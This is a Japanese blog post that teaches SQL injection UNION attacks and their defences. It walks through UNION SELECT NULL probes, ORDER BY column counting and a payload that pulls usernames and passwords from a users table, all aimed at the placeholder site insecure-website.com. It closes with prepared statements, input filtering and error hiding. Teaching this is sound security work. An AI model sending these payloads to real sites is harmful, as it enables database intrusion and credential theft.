Shikata Ga Nai

Private? There is no such things.

SQLインジェクション UNION攻撃

Hello there, ('ω')ノ

SQLインジェクションの脆弱性があるアプリケーションでは、UNION キーワードを使用して他のテーブルのデータを取得 することが可能です。これを 「SQLインジェクション UNION攻撃」 と呼びます。


🔍 UNIONを利用したSQLインジェクションとは?

UNION を使用すると、2つ以上のSELECT文の結果を結合 し、1つの結果セットとして取得できます。

例:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2;

このクエリは、table1a, b 列と、table2c, d 列を結合し、1つの結果セットとして返します。


🎯 UNION攻撃の実行手順

SQLインジェクションを利用して UNION を挿入し、データベースの別のテーブルから機密情報を取得する 方法を説明します。

1️⃣ UNION攻撃が可能かを確認する

攻撃者は、まず UNION を使用できるかどうかを確認する必要があります。
対象となるクエリが次のような構造だと仮定します。

SELECT name, description FROM products WHERE category = 'Gifts';

ここに UNION SELECT NULL, NULL-- を試してみます。

https://insecure-website.com/products?category=Gifts' UNION SELECT NULL, NULL--

もし エラーが発生しなければUNION が利用可能であると確認できます。
エラーが発生した場合、カラム数を調整 する必要があります。

2️⃣ カラム数を特定する

ORDER BY を使用して、もともとの SELECT 文が何列のデータを取得しているかを特定します。

https://insecure-website.com/products?category=Gifts' ORDER BY 1--
https://insecure-website.com/products?category=Gifts' ORDER BY 2--
https://insecure-website.com/products?category=Gifts' ORDER BY 3--

どこかでエラーが発生した場合、その直前の値がカラム数になります。
例えば、ORDER BY 3-- でエラーが出たら、カラム数は 2 です。


3️⃣ 機密情報を取得する

カラム数が2だとわかった場合、管理者のユーザー名とパスワードを取得できる可能性があります。

https://insecure-website.com/products?category=Gifts' UNION SELECT username, password FROM users--

これにより、users テーブルの username と password が取得可能 になります。


🛡 SQLインジェクション UNION攻撃の防御策

1️⃣ プリペアドステートメントを使用する

ユーザー入力を直接SQLクエリに含めないようにする。

$stmt = $pdo->prepare("SELECT name, description FROM products WHERE category = ?");
$stmt->execute([$category]);

2️⃣ ユーザー入力のバリデーションを行う

  • 許可リスト(ホワイトリスト)を使用し、指定された値のみ受け付ける
  • UNION, SELECT, --, ' などのSQL構文をフィルタリング

3️⃣ エラーメッセージを隠す

SQLエラーをユーザーに表示せず、汎用的なエラーメッセージを返す


✅ まとめ

🎯 攻撃の流れ
1. UNION が利用できるか確認(UNION SELECT NULL, NULL-- でテスト)
2. ORDER BY でカラム数を特定
3. UNION SELECT username, password FROM users-- で機密情報を取得

🛡 防御策
プリペアドステートメントを使用する
入力値のバリデーションを行う
エラーメッセージを隠す

SQLインジェクション UNION攻撃は、データベースの中身を盗み出す強力な手法 です。
しっかりと対策を講じ、アプリケーションのセキュリティを強化しましょう! 🚀

Best regards, (^^ゞ